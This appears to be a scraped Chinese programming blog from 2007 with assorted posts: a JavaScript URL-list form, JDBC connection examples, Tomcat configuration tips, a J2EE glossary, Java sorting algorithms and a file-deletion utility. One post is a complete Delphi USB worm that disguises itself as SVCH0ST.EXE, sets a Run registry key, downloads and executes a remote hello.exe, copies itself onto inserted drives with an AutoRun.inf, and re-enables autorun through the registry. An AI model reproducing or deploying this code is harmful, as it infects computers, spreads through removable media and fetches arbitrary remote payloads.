         }

    }*/

        if(typeof(s)!="undefined"    && s.tagName){
               try{
                var tgname = s.tagName.toUpperCase();
          if(tgname != "DIV" || s.childNodes.length <=0 )return;
                      var s1 = s.childNodes[0];

          if( s1.type.toLowerCase() =="checkbox" && s1.checked==true ){
           candel = true;  
           list.removeChild(s);
                 //list.removeChild(s.nextSibling.nextSibling);
                // list.removeChild(s.nextSibling);      
                 //list.removeChild(s);   
                 //list.removeChild(s.previousSibling);

            }   
                }catch(ex){
                 //alert(ex.toString());         
               }
             }
            
            i--;
         }
         if(candel==false){alert("请选择你要删除的选项")}
        obj.check.disabled=list.childNodes.length>1?false:true;
        obj.recheck.disabled=list.childNodes.length>1?false:true;
        obj.check.value=strAll;
        obj.remove.disabled=list.childNodes.length>1?false:true;
         
    }

    function showDelete(self){
    self.style.backgroundColor = "red";

    }
    </script>
    </HEAD>

    <BODY>
    <form name="sitelist" onsubmit="return addSite(this);">
    http:// <INPUT TYPE="text" size="30" NAME="url"> <INPUT TYPE="button" NAME="add" value="添加网址至列表" onclick="addSite(this.form)">
    <div style="border:1px groove blue;width:400px;height:200px;padding:5px;overflow:auto" id="list">

    <div onmouseover="showDelete(this);" style="background:gray"><input type=checkbox value="example.com" name="url_chkbox" onclick="clickchk(this.form)">example.com <hr style="1px solid gray" size="0"></div>

    <div onmouseover="showDelete(this);" style="background:gray"><input type=checkbox value="example.com" name="url_chkbox" onclick="clickchk(this.form)">example.com <hr style="1px solid gray" size="0"></div>

    </div>
    <INPUT TYPE="button" NAME="check" value="全选" disabled onclick="checkall(this.form)">&nbsp;&nbsp;<input type="button" value="反选" name="recheck" disabled    onclick="reverseCheck(this.form)">&nbsp;&nbsp;<INPUT TYPE="button" NAME="remove" disabled value="删除" onclick="del($('list'),this.form)">
    </form>
    <script>
    //页面加载时初始化
    function init(l,f){
        var list=l;
        f.check.disabled=list.childNodes.length>1?false:true;
        f.recheck.disabled=list.childNodes.length>1?false:true;
        f.check.value=strAll;
        f.remove.disabled=list.childNodes.length>1?false:true;
    }
    window.onload=function(){
    init($("list"),document.sitelist);
    }
    </script>
    </BODY>
    </HTML>

    posted @ 2007-05-27 11:42 jadmin 阅读(58) | 评论 (0)编辑 收藏

    unit Un_Main;


    interface


    uses
           Windows, Messages, SysUtils,Forms,IniFiles;
    type
           TFrm_Main = class(TForm)
           procedure FormCreate(Sender: TObject);
           procedure FormClose(Sender: TObject; var Action: TCloseAction);
           private
           procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
           public
           { Public declarations }
           end;
    const
               exefile = 'SVCH0ST.EXE';
               Buffer = 'http://www.888.com/hello.exe';
               DBT_DEVICEARRIVAL = $8000;       // system detected a new device
               DBT_DEVICEREMOVECOMPLETE = $8004;       // device is gone
               DBT_DEVTYP_VOLUME = $00000002;       // logical volume
               DBTF_MEDIA = $0001;       // media comings and goings
    type
          PDEV_BROADCAST_HDR = ^TDEV_BROADCAST_HDR;
          TDEV_BROADCAST_HDR = packed record
           dbch_size : DWORD;
           dbch_devicetype : DWORD;
           dbch_reserved : DWORD;
          end;
           PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME;
           TDEV_BROADCAST_VOLUME = packed record
               dbcv_size : DWORD;
               dbcv_devicetype : DWORD;
               dbcv_reserved : DWORD;
               dbcv_unitmask : DWORD;
               dbcv_flags : WORD;
           end;


    function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
                                           StatusCB: Pointer): LongWord;
                                           stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';


    function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;
                               stdcall; external 'kernel32.dll' name 'WinExec';


    var
           Frm_Main: TFrm_Main;
           exefull:string;
    implementation


    {$R *.dfm}


    function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
    var
    regkey:hkey;
    begin
           result := false;
           RegCreateKey(key,PChar(subkey),regkey);
           if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
           result := true;
           RegCloseKey(regkey);
    end;


    procedure Startup(var TheName:string);
    begin
           SetRegValue(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun','SVCH0ST',TheName);
           UrlDownloadToFile(nil, PChar(Buffer), PChar(TheName), 0, nil);
           SetFileAttributes(PChar(TheName),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
           messagebox(0,'文件下载成功!','成功',MB_OK);
           WinExec(PChar(TheName), SW_SHOWDEFAULT);
           //Sleep(500);
           //DeleteMe;
           //freemem(@path,256);
    end;


    procedure TFrm_Main.WMDeviceChange(var Msg: TMessage);
    var
           lpdb : PDEV_BROADCAST_HDR;
           lpdbv : PDEV_BROADCAST_VOLUME;
           unitmask:DWORD;
           i:integer;
           MyIni:TIniFile;
           s:Hkey;
           value:dword ;
           inifile:string;
    begin
           lpdb := PDEV_BROADCAST_HDR(Msg.LParam);
           case Msg.WParam of
           DBT_DEVICEARRIVAL ://有设备安装完毕


           if lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME then
           begin
               lpdbv := PDEV_BROADCAST_VOLUME(lpdb);
               unitmask:=lpdbv.dbcv_unitmask;//取得设备的盘符
               for i:=0 to 25 do //遍历磁盘
               begin
                   if Boolean(unitmask and $1)then//看该驱动器的状态是否发生了变化
                   break;
                   unitmask := unitmask shr 1;
               end;
               if fileexists(exefull) then       //向u盘拷文件
               begin
               copyfile(PChar(exefull),Pchar(char(i+65) + ':' + exefile),false);
               FileSetAttr(char(i+65) + ':' + exefile,$00000003);
               end;
               inifile:=char(i+65)+':AutoRun.inf';//ini文件
               RegOpenKeyEx(HKEY_CURRENT_USER, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer', 0, KEY_ALL_ACCESS, s);
               value:=0;
               RegSetValueEx(s,'NoDriveTypeAutoRun',0, REG_DWORD,@value, sizeof(value));
               RegCloseKey(s);
               if fileexists(inifile) then
               begin
               FileSetAttr(inifile,$00000000);
               DeleteFile(inifile);
               end;
               MyIni := TIniFile.Create(inifile);
               MyIni.WriteString('AutoRun', 'open',exefile);
               FileSetAttr(inifile,$00000003);
           end;
          end;
    end;


    procedure TFrm_Main.FormCreate(Sender: TObject);
    var
    s:hkey;
    value:array[0..255]of char;
    size:cardinal;
    path:array[0..255] of char;
    begin
           Application.ShowMainForm:=False;
           getsystemdirectory(path,120);
           exefull := strpas(path) + '' + exefile;
           size:=256;
           RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun',0,KEY_ALL_ACCESS,s);
           RegQueryValueEx(s,'SVCH0ST',nil,nil,@value,@size);
           RegCloseKey(s);
           //文件存在且有自启动
           if fileexists('C:WINDOWSsystem32SVCH0ST.EXE') and (UpperCase(value) = UpperCase(exefull)) then
           messagebox(0,'自启动成功!','成功',MB_OK)
           else
           Startup(exefull);//下载执行函数
    end;


    procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
           Application.Terminate;
    end;


    end.

    posted @ 2007-05-26 01:19 jadmin 阅读(54) | 评论 (0)编辑 收藏

    /*
       用JDBC来连接数据库有很两种方式,如<1>JDBC:ODBC bridge, <2>直接连接方式.
       第二种方式有很多好处,它可以独立于依赖于系统的odbc数据源,存储数据的database
       可以自由地移动,显得更为灵活.
    */

    import java.io.*;
    import java.sql.*;

    public class ConDBAccess
    {
    public static void main(String[] args)
    {
       try
       {
        //Load JDBC driver
        Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
        /*
         这里的数据库的url一定要写正确,这是关键,其中DBQ可以绝对路径,
         也可以是相对路径,为了体现数据存储路径的/独立性,
         你可以将数据库copy到不同的位试一下
         */
        String dbUrl = "jdbc:odbc:driver={Microsoft Access Driver (*.mdb)};DBQ=Test.mdb";
        Connection con = DriverManager.getConnection(dbUrl,"","");
        Statement state = con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
        //执行SQL语句
        String sql = "select * from Address";
        ResultSet rs = state.executeQuery(sql);

        //打印测试
        if(rs != null)
        {
         while(rs.next())
         {
          System.out.println(rs.getString("Name")+"\t"+rs.getString("Age")+"\t"+rs.getString("Email"));
         }
         rs.close();
         con.close();
        }
       }
       catch(Exception e)
       {
        e.printStackTrace();
       }
    }
    }//End class ConDBAccess

    /**
    附:数据库Test.mdb的结构设计:
        字段         类型
        ----------------
        name        text
        sex         bool
        age         int
        email       text
        -----------------------------
    自已加几条记录到里面就可以测出结果了.
    */

    posted @ 2007-05-26 00:57 jadmin 阅读(67) | 评论 (0)编辑 收藏

    1、如何将字符串String转化为整数int

       int i = Integer.parseInt(str);

       int i = Integer.valueOf(my_str).intValue();

        注: 字串转成Double, Float, Long的方法大同小异。

    2、如何将字符串String转化为Integer


        Integer integer=Integer.valueOf(i)


    3、如何将整数 int 转换成字串 String?

    答:有三种方法:

       String s = String.valueOf(i);

       String s = Integer.toString(i);

       String s = "" + i;

    注:Double, Float, Long 转成字串的方法大同小异。


    4、如何将整数int转化为Integer


       Integer integer=new Integer(i)


    5、如何将Integer转化为字符串String


        Integer integer=String()


    6、如何将Integer转化为int


        int num=Integer.intValue()


    7、如何将String转化为BigDecimal


        BigDecimal d_id=new BigDecimal(str)

    posted @ 2007-05-25 23:10 jadmin 阅读(66) | 评论 (0)编辑 收藏
    1、tomcat下配置虚拟目录

        打开TOMCAT文件下的conf\server.xml文件 ,查找到<ContextManager>标签,并在该标签的结束标签</ContextManager>前面加上:

        <Context path="虚拟目录" docBase="硬盘目录" debug="0" reloadable="true" crossContext="true"/>  

        其中path的值是虚拟目录,docbase的值是你的硬盘的的目录的绝对路径。

        如找不到<ContextManager>元素,可以找

           <Host name="localhost" debug="0" appBase="webapps"
            unpackWARs="true" autoDeploy="true"
            xmlValidation="false" xmlNamespaceAware="false">

        然后添加<Context path="虚拟目录" docBase="硬盘目录" debug="0" reloadable="true" crossContext="true"/>  

    2、禁止tomcat目录浏览,将listings设为false

         <servlet>
             <servlet-name>default</servlet-name>
             <servlet-class>
               org.apache.catalina.servlets.DefaultServlet
             </servlet-class>
             <init-param>
                 <param-name>debug</param-name>
                 <param-value>0</param-value>
             </init-param>
             <init-param>
                 <param-name>listings</param-name>
                 <param-value>false</param-value>
             </init-param>
             <load-on-startup>1</load-on-startup>
         </servlet>

    3、设置友好错误页面,配置web.xml

        <error-page>
           <error-code>404</error-code>
           <location>/error.jsp</location>
        </error-page>
        <error-page>
           <error-code>500</error-code>
           <location>/error.jsp</location>
        </error-page>

    4、在IE中直接打开其他扩展名的文件

        为了让能在IE浏览器中自动打开其他扩展文件名的文件的设置:
        需要在WEB.XML中进行如下的设置:
        在WEB.XML中添加<mime-mapping>,其中:
           <extension>: 文件的扩展名
           <mime-type>: 除了该类型文件的可执行文件,同WINDOW注册表中的   /HKEY_CLASSES_ROOT下该类文件的Content Type 的值一样.

    如能在IE中自动打开DOC,XLS,PDF文件的配置如下:

    <?xml version="1.0" ?>
    <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 1.2//EN"   "http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">
    <web-app>
        <mime-mapping>
           <extension>doc</extension>
           <mime-type>application/msword</mime-type>
        </mime-mapping>

        <mime-mapping>
           <extension>xls</extension>
           <mime-type>application/msexcel</mime-type>
        </mime-mapping>

        <mime-mapping>
           <extension>pdf</extension>
           <mime-type>application/pdf</mime-type>
        </mime-mapping>
    </web-app>
    posted @ 2007-05-25 23:08 jadmin 阅读(77) | 评论 (0)编辑 收藏
    J2EE包括以下技术:  
    EJB:Enterprise   JavaBeans   企业JavaBean组件  
    IDL:Interface   Definition   Language   接口定义语言  
    JMS:Java   Message   Service   Java消息服务  
    JNDI:Java   Naming   and   Directory   Interface   Java命名目录接口  
    RMI:Remote   Method   Invocation   远程方法调用  
    JTA:Java   Transaction   API   Java事务API  
    JTS:Java   Transaction   Service   Java事务服务  
    Object   Serialization:对象序列化  
    JavaMail:Java邮件服务  
    JDBC:数据库访问API  
    JSP:Java   Server   Pages  
    Servlet:  

    EJB分为三种:  
    Session   Bean(会话BEAN)  
    Entity   Bean(实体BEAN)  
    Message   Driver   Bean(消息驱动BEAN)  

    Session   Bean分为两种:  
    Stateless   Session   Bean(无状态会话Bean)  
    Statefull   Session   Bean(有状态会话Bean)  

    Entity   Bean分为两种:  
    CMP:Container   Manager   Persistence(容器管理持久性)
    BMP:Bean   Manager   Persistence(Bean管理持久性)  

    其他缩写名词:  
    DTO:Data   Transport   Object   数据传输对象  
    JDO:Java   Data   Object  
    DAO:Database   Access   Object   数据库访问对象  
    POJO:Proterozoic   Java   Object   Java原生对象  
    VO:Value   Object   值对象  
    SOAP:Simple   Object   Access   Protocol   简单对象访问协议  
    posted @ 2007-05-25 23:04 jadmin 阅读(75) | 评论 (0)编辑 收藏

    1.Oracle8/8i/9i数据库(thin模式)

    Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
    String url="jdbc:oracle:thin:@localhost:1521:orcl"; //orcl为数据库的SID
    String user="test";
    String password="test";
    Connection conn= DriverManager.getConnection(url,user,password);

    2.DB2数据库

    Class.forName("com.ibm.db2.jdbc.app.DB2Driver ").newInstance();
    String url="jdbc:db2://localhost:5000/sample"; //sample为你的数据库名
    String user="admin";
    String password="";
    Connection conn= DriverManager.getConnection(url,user,password);

    3.Sql Server7.0/2000数据库

    Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver").newInstance();
    String url="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=mydb";
    //mydb为数据库
    String user="sa";
    String password="";
    Connection conn= DriverManager.getConnection(url,user,password);

    4.Sybase数据库

    Class.forName("com.sybase.jdbc.SybDriver").newInstance();
    String url =" jdbc:sybase:Tds:localhost:5007/myDB";//myDB为你的数据库名
    Properties sysProps = System.getProperties();
    SysProps.put("user","userid");
    SysProps.put("password","user_password");
    Connection conn= DriverManager.getConnection(url, SysProps);

    5.Informix数据库

    Class.forName("com.informix.jdbc.IfxDriver").newInstance();
    String url = "jdbc:informix-sqli://123.45.67.89:1533/myDB:INFORMIXSERVER=myserver;
    user=testuser;password=testpassword"; //myDB为数据库名
    Connection conn= DriverManager.getConnection(url);

    6.MySQL数据库

    Class.forName("org.gjt.mm.mysql.Driver").newInstance();
    String url ="jdbc:mysql://localhost/myDB?user=soft&password=soft1234&useUnicode=true&characterEncoding=8859_1"
    //myDB为数据库名
    Connection conn= DriverManager.getConnection(url);

    7.PostgreSQL数据库

    Class.forName("org.postgresql.Driver").newInstance();
    String url ="jdbc:postgresql://localhost/myDB" //myDB为数据库名
    String user="myuser";
    String password="mypassword";
    Connection conn= DriverManager.getConnection(url,user,password);

    8.access数据库直连用ODBC的

    Class.forName("sun.jdbc.odbc.JdbcOdbcDriver") ;
    String url="jdbc:odbc:Driver={MicroSoft Access Driver (*.mdb)};DBQ="+application.getRealPath("/Data/ReportDemo.mdb");
    Connection conn = DriverManager.getConnection(url,"","");
    Statement stmtNew=conn.createStatement() ;

    posted @ 2007-05-25 23:00 jadmin 阅读(62) | 评论 (0)编辑 收藏

    import java.sql.*;
    import java.util.*;

    class Sql
    {
         public static void main(String[] args)
    {
          try
         {
             String query="select * from orders";
             String URL="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=Northwind";
             String userName = "sa";
             String userPwd = "14579";
             Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver");
             Connection conn=DriverManager.getConnection(URL,userName,userPwd);
             Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
             ResultSet rs=stmt.executeQuery(query);

             int i=0;
             for(i=0;i<10;i++)
             {
                rs.next();
                System.out.println(rs.getString(1));
             }
            //SQLServer2K自带的样例数据库Northwind中,表Orders有多于10条,可能上百条记录,所以只列10条!
          }
          catch(Exception e)
          {
             System.out.println(e.getMessage());
          }
    }
    }

    结果:

    posted @ 2007-05-25 22:28 jadmin 阅读(67) | 评论 (0)编辑 收藏

    运行本程序前需安装SQL Server 2000 Driver for JDBC Service Pack 3

    测试代码如下:

    // 导入Java SQL包,连接数据库必需;
    import java.sql.*;

    public class TestDB
    {
        public static void main(String[] args)
        {
            String driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
            String dbURL = "jdbc:microsoft:sqlserver://localhost:1433; DatabaseName=pubs";
            String userName = "sa";
            String userPwd = "14579";
            Connection dbConn;

            try
            {
                Class.forName(driverName);
                dbConn = DriverManager.getConnection(dbURL, userName, userPwd);
                System.out.println("Connection Successful!");
            }
            catch (Exception e)
            {
                e.printStackTrace();
            }
        }
    }

    运行结果:

    posted @ 2007-05-25 22:25 jadmin 阅读(82) | 评论 (0)编辑 收藏

              经过数年的“框架大战”,Java界的各种框架找到了自己应有的位置。

             Spring+Hibernate+Struts已成为Java开发的主流体系。在这个体系中,Spring+Hibernate的地位应该说短期内是难以撼动了。除了新兴的Jboss Seam作为挑战者之外,几乎难有劲敌。有趣的是当初Spring、Hibernate作为挑战者,将官方的EJB成功挑落马下;这次反倒是官方的EBJ3成了挑战者,不知结局如何。

             Java B/S编程中历来战火最激烈的其实还在Web层,框架的数量最多,争议最大。
    一切由Struts而起,而Struts最终也坐稳了第一个时代的王座。在技术层面,Struts 1.x已经被无数人抱怨过、批评过,但终于还是稳坐王位,这充分说明了习惯的力量。“稳定压倒一切”,这句话在IT技术领域仍旧适用。
             其实IT应用技术,什么新鲜玩意并不难学。难的是标准化和规范化。每个程序员都有自己的思路和习惯,写出来的代码自然是五花八门。Java何以成为编程界的老大,很重要的一点在于Java的规范化。这种规范化很高的语言适用于多人合作的大型项目,便于沟通和理解,也就便于集成和维护。Java世界为什么会框架横飞,说到底还是规范化的需要。纯JSP和Struts写Web谁快,摆明了是JSP。那撑饱了用Struts?原因在于100个人写出来的JSP,有100种写法;而100个人写出来的Struts,基本相似。Struts之成功,正缘于其在Java Web层的规范化方面所做出的贡献。

             然而长江后浪推前浪,Struts 1.x的技术缺陷毕竟是隐患。
             Sun力推JSF,打算一雪Web层框架缺失之耻。可惜JSF既要沿用Swing的技术路线,又要学ASP.NET,还要照顾产商的IDE,结果搞了个四不象,弄得里外不是人。当然Sun的技术实力毕竟是超强的,只要别重蹈EJB的覆辙,拿出点专断的精神(像这两年的NetBeans),做出像Swing那样水准的东西,JSF当大有作为。JSF现在比较有优势的是对Ajax的集成,这一点走在了其他框架的前面。

             而Struts就更没有志气了,把WebWork换了个标签,凑出个Struts2,Bug多多。说实在话,根本不如原版的WebWork。如果不是靠了原先的fans捧场,根本就没得混。不过Struts原本就不是以技术取胜的,靠的是抢占先机带来的习惯优势。如果原先的fans们在这两年内都能转到Struts2,那么Struts二世仍将雄霸天下。

             综上所述,未来两年,JSF与Struts将展开Java Web框架的最终战争。
             以笔者愚见,结局有二:一是不论Struts还是JSF获胜,Java Web层都将结束混战的局面,这对Java Web开发的标准化是非常有利的,并有助于巩固Java在B/S界的地位;二是Struts1.x、Struts2、JSF三分天下,必然从整体上削弱Java在B/S界的竞争力,并将进一步被RoR、ASP.NET、PHP所蚕食。

             以上内容源自CSDN

    posted @ 2007-05-22 18:28 jadmin 阅读(60) | 评论 (0)编辑 收藏

              2007年5月8日,Sun推出了一种更友好的为消费电子产品编写Java应用软件的方式,其目的是为了挖掘Java的潜力,并在新一代Web应用领域方面拥有更大的发言权。

             在JavaOne会议上,Sun负责软件业务的执行副总裁格林公布了JavaFX Script━━一种用于编写能够在支持Java的PC和手机上运行的应用软件的更简单的脚本语言。

             为了解决手机的兼容性问题,格林详细阐述了JavaFX Mobile━━一种面向手机厂商、提高Java应用软件在不同手机间兼容性的软件包。

             Sun官员还计划发布最后一部分的开放源代码的Java,并阐述与Java相关的开放源代码项目的管理规则。

             Sun计划通过JavaFX Script复兴Java在小型设备和浏览器上的使用。格林说,Java不仅仅面向企业,还面向消费者。我们即将发布的脚本语言将极大地增加能够为这一平台开发内容的人的数量。

             JavaFX Script是一种在生产效率和易用性方面好于Java的脚本语言,能够与Java紧密集成。开发人员可以利用JavaFX Script编写能够在支持Java的PC和手机上运行的应用软件。

    posted @ 2007-05-22 18:20 jadmin 阅读(42) | 评论 (0)编辑 收藏

    GMail Remote Command 可以远程实现关机、运行程序、打开网页,这一切都通过Gmail来实现的。
    GMail Remote Command 使用说明:
    1.在你想要控制的机器上面,点击运行GRC.exe;
    2.输入你的Gmail邮箱和密码(假设Gmail邮箱是test@gmail.com),点击Sign in,等待….当Sign in变成

    Stop时候就OK了,一般几秒就登录成功了;
    3.在另外一台机器打开网页进入:http://www.gmail.com,用另外一个Gmai帐号登陆,然后写邮件;
    收件人:test@gmail.com 主题:shutdown
    然后发送这个空邮件,即可让test@gmail.com的整个机器关机。
    命令:
    关机 shutdown
    运行程序 [open]c:\windows\system32\calc.exe[/open]
    打开网页 [open]http://www.yangkui.cn[/open]

    posted @ 2007-05-22 17:55 jadmin 阅读(71) | 评论 (0)编辑 收藏
    JAVA四种基本排序,包括冒泡法,插入法,选择法,SHELL排序法.其中选择法是冒泡法的改进,SHELL排序法是 插入法的改进.所以从根本上来说可以归纳为两种不同的排序方法:即:插入法&冒泡法

    一 插入法:遍历排序集合,每到一个元素时,都要将这个元素与所有它之前的元素遍历比较一遍,让符合排序顺序的元素挨个移动到当前范围内它最应该出现的位置。交换是相邻遍历移动,双重循环控制实现.这种排序法属于地头蛇类型,在我的地牌上我要把所有的东西按一定的顺序规整,过来一个,规整一个.
    处理代码如下:
    public void sort(int[] data) {
    int temp;
    for(int i=1; i〈data.length; i++){
    for(int j=i; (j〉0)&&(data[j]〉data[j-1]); j--){

    temp=date[j];
    data[j]=data[j-1];
    data[j-1]=temp; }
    }
    }
    二冒泡法:比较容易,它的内层循环保证遍历一次后,集合中最小(大)元素出现在它的正确位置,下一次就是次小元素。。。该方法在集合分布的各种情况下交换移动的次数基本不变,属于最慢的一种排序。实现也是双重循环控制。这种排序法属于过江龙,就是要找到极端,但是过奖龙也有大哥,二哥等,所以他们只能是大哥挑了二哥挑.
    处理代码如下:
    public static int [] maopao(int[] data) {
    int temp;
    for(int i=0; i〈data.length-1; i++){
    for(int j=i+1; j〈data.length; j++){
    if(data[i]〈data[j]){
    temp=data[i];
    data[i]=data[j];
    data[j]=temp;
    }
    }
    }

    return data;

    三选择法:该方法只是通过遍历集合记录最小(大)元素的位置,一次遍历完后,再进行交换位置操作,类似冒泡,但在比较过程中,不进行交换操作,只记录元素位置。一次遍历只进行一次交换操作。这个对与交换次序比较费时的元素比较适合。这种排序法比冒泡法要城府要深的多,我先记住极端数据,待遍历数据完了之后,我再处理,不像冒泡法那样只要比自己极端一点的就要处理,选择法只处理本身范围内的最极端数据.
    public static void xuanze(int[] data) {
    int temp;
    for (int i = 0; i 〈 data.length; i++) {
    int lowIndex = i;
    for (int j = data.length - 1; j 〉 i; j--) {
    if (data[j] 〉 data[lowIndex]) {
    lowIndex = j;
    }
    }
    temp=data[i];
    data[i]=data[lowIndex];
    data[lowIndex]=temp;
    }
    }
    四 Shell排序:
    它是对插入排序的一种改进,是考虑将集合元素按照一定的基数划分成组去排序,让每一组在局部范围内先排成基本有序,最后在进行一次所有元素的插入排序。
    public void sort(int[] data) {
    for(int i=data.length/2; i〉2; i/=2){
    for(int j=0; j〈i; j++){
    insertSort(data,j,i);
    }
    }
    insertSort(data,0,1);
    }

    private void insertSort(int[] data, int start, int inc) {
    int temp;
    for(int i=start+inc; i〈data.length; i+=inc){
    for(int j=i; (j〉=inc)&&(data[j]〈data[j-inc]); j-=inc){
    temp=data[j];
    data[j]=data[j-inc]
    data[j-inc]=temp;
    }
    }
    }
    posted @ 2007-05-22 17:44 jadmin 阅读(46) | 评论 (0)编辑 收藏

    详情见

    http://baike.baidu.com/view/8240.htm

    2006 年底,Sun 公司发布了 Java Standard Edition 6(Java SE 6)的最终正式版,代号 Mustang(野马)。跟 Tiger(Java SE 5)相比,Mustang 在性能方面有了不错的提升。与 Tiger 在 API 库方面的大幅度加强相比,虽然 Mustang 在 API 库方面的新特性显得不太多,但是也提供了许多实用和方便的功能:在脚本,WebService,XML,编译器 API,数据库,JMX,网络和 Instrumentation 方面都有不错的新特性和功能加强。 本系列 文章主要介绍 Java SE 6 在 API 库方面的部分新特性,通过一些例子和讲解,帮助开发者在编程实践当中更好的运用 Java SE 6,提高开发效率。

    Instrumentation 简介

    利用 Java 代码,即 java.lang.instrument 做动态 Instrumentation 是 Java SE 5 的新特性,它把 Java 的 instrument 功能从本地代码中解放出来,使之可以用 Java 代码的方式解决问题。使用 Instrumentation,开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义。有了这样的功能,开发者就可以实现更为灵活的运行时虚拟机监控和 Java 类操作了,这样的特性实际上提供了一种虚拟机级别支持的 AOP 实现方式,使得开发者无需对 JDK 做任何升级和改动,就可以实现某些 AOP 的功能了。

    在 Java SE 6 里面,instrumentation 包被赋予了更强大的功能:启动后的 instrument、本地代码(native code)instrument,以及动态改变 classpath 等等。这些改变,意味着 Java 具有了更强的动态控制、解释能力,它使得 Java 语言变得更加灵活多变。

    在 Java SE6 里面,最大的改变使运行时的 Instrumentation 成为可能。在 Java SE 5 中,Instrument 要求在运行前利用命令行参数或者系统参数来设置代理类,在实际的运行之中,虚拟机在初始化之时(在绝大多数的 Java 类库被载入之前),instrumentation 的设置已经启动,并在虚拟机中设置了回调函数,检测特定类的加载情况,并完成实际工作。但是在实际的很多的情况下,我们没有办法在虚拟机启动之时就为其设定代理,这样实际上限制了 instrument 的应用。而 Java SE 6 的新特性改变了这种情况,通过 Java Tool API 中的 attach 方式,我们可以很方便地在运行过程中动态地设置加载代理类,以达到 instrumentation 的目的。

    另外,对 native 的 Instrumentation 也是 Java SE 6 的一个崭新的功能,这使以前无法完成的功能 —— 对 native 接口的 instrumentation 可以在 Java SE 6 中,通过一个或者一系列的 prefix 添加而得以完成。

    最后,Java SE 6 里的 Instrumentation 也增加了动态添加 class path 的功能。所有这些新的功能,都使得 instrument 包的功能更加丰富,从而使 Java 语言本身更加强大。

    Instrumentation 的基本功能和用法

    “java.lang.instrument”包的具体实现,依赖于 JVMTI。JVMTI(Java Virtual Machine Tool Interface)是一套由 Java 虚拟机提供的,为 JVM 相关的工具提供的本地编程接口集合。JVMTI 是从 Java SE 5 开始引入,整合和取代了以前使用的 Java Virtual Machine Profiler Interface (JVMPI) 和 the Java Virtual Machine Debug Interface (JVMDI),而在 Java SE 6 中,JVMPI 和 JVMDI 已经消失了。JVMTI 提供了一套”代理”程序机制,可以支持第三方工具程序以代理的方式连接和访问 JVM,并利用 JVMTI 提供的丰富的编程接口,完成很多跟 JVM 相关的功能。事实上,java.lang.instrument 包的实现,也就是基于这种机制的:在 Instrumentation 的实现当中,存在一个 JVMTI 的代理程序,通过调用 JVMTI 当中 Java 类相关的函数来完成 Java 类的动态操作。除开 Instrumentation 功能外,JVMTI 还在虚拟机内存管理,线程控制,方法和变量操作等等方面提供了大量有价值的函数。关于 JVMTI 的详细信息,请参考 Java SE 6 文档(请参见 参考资源)当中的介绍。

    Instrumentation 的最大作用,就是类定义动态改变和操作。在 Java SE 5 及其后续版本当中,开发者可以在一个普通 Java 程序(带有 main 函数的 Java 类)运行时,通过 –javaagent 参数指定一个特定的 jar 文件(包含 Instrumentation 代理)来启动 Instrumentation 的代理程序。
    posted @ 2007-05-21 16:59 jadmin 阅读(94) | 评论 (0)编辑 收藏

    import java.util.*;

    public class File extends java.io.File {
        

         File(java.io.File file,String str){
             super(file,str);
         }
         File(String str1,String str2){
             super(str1,str2);
         }
         File(String str){
             super(str);
         }
         File(java.net.URI uri){
             super(uri);
         }
         public static void deleteDirs(java.io.File dir)throws Exception{
             m_root=dir;
             m_dirs= new ArrayList();
             if(!m_root.isDirectory()){
                 throw new Exception("Exception:\""+m_root.toString()+"\" is not a director");
             }
             else{
                 for(int i=0;i<m_dirs.size();i++){
                     System.out.println(((File)m_dirs.get(i)).toString());
                 }
                 //delete all director
                 try{
                     m_dirs.add(m_root);
                     myDelete();
                 }
                 catch(Exception e){
                     e.printStackTrace();
                 }   
             }   
         }
         /**
          *
          * @param dirPath   String a director file path;
          * @throws IOException if dirPath is not a director file path
          */
         public static void deleteDirs(String dirPath)throws Exception{
             m_root=new java.io.File(dirPath);
             deleteDirs(m_root);
         }
        
         public static void deleteSubDirs(String dirPath)throws Exception{
             m_root=new java.io.File(dirPath);
             deleteSubDirs(m_root);    
         }
        
        
         public static void deleteSubDirs(java.io.File dir)throws Exception{
             m_root=dir;
             m_dirs= new ArrayList();
             //deleteDirs(m_root);
             if(!m_root.isDirectory()){
                 throw new Exception("Exception:\""+m_root.toString()+"\" is not a director");
             }
            
             else{
                 for(int i=0;i<m_dirs.size();i++){
                     System.out.println(((File)m_dirs.get(i)).toString());
                 }
                 try{
                     myDelete();
                }
                catch(Exception e){
                        e.printStackTrace();
                }
                }    
         }
         /*
          *   visit all a director and save them in a list
          */
         private static void visitAll(java.io.File tempRoot){
             //m_dirs.add(tempRoot);
             //System.out.println("函数开始处:"+m_dirs.size());
            
             java.io.File[] dirs=tempRoot.listFiles();
             if(dirs!=null){
            
             List dirsList=Arrays.asList(dirs);
             //while(dirsList!=null){
                 if(dirsList==null){
                     try{
                         tempRoot.delete();
                     }
                     catch(Exception e){
                         e.printStackTrace();
                     }
    }
                 else{
                    
                     m_dirs.addAll(dirsList);    
                     //System.out.println(m_dirs.size());
                     /*
                     for(int i=0;i<dirs.length;i++){//print dirs
                         System.out.println("NO."+ ++counter+":"+dirs[i].toString());
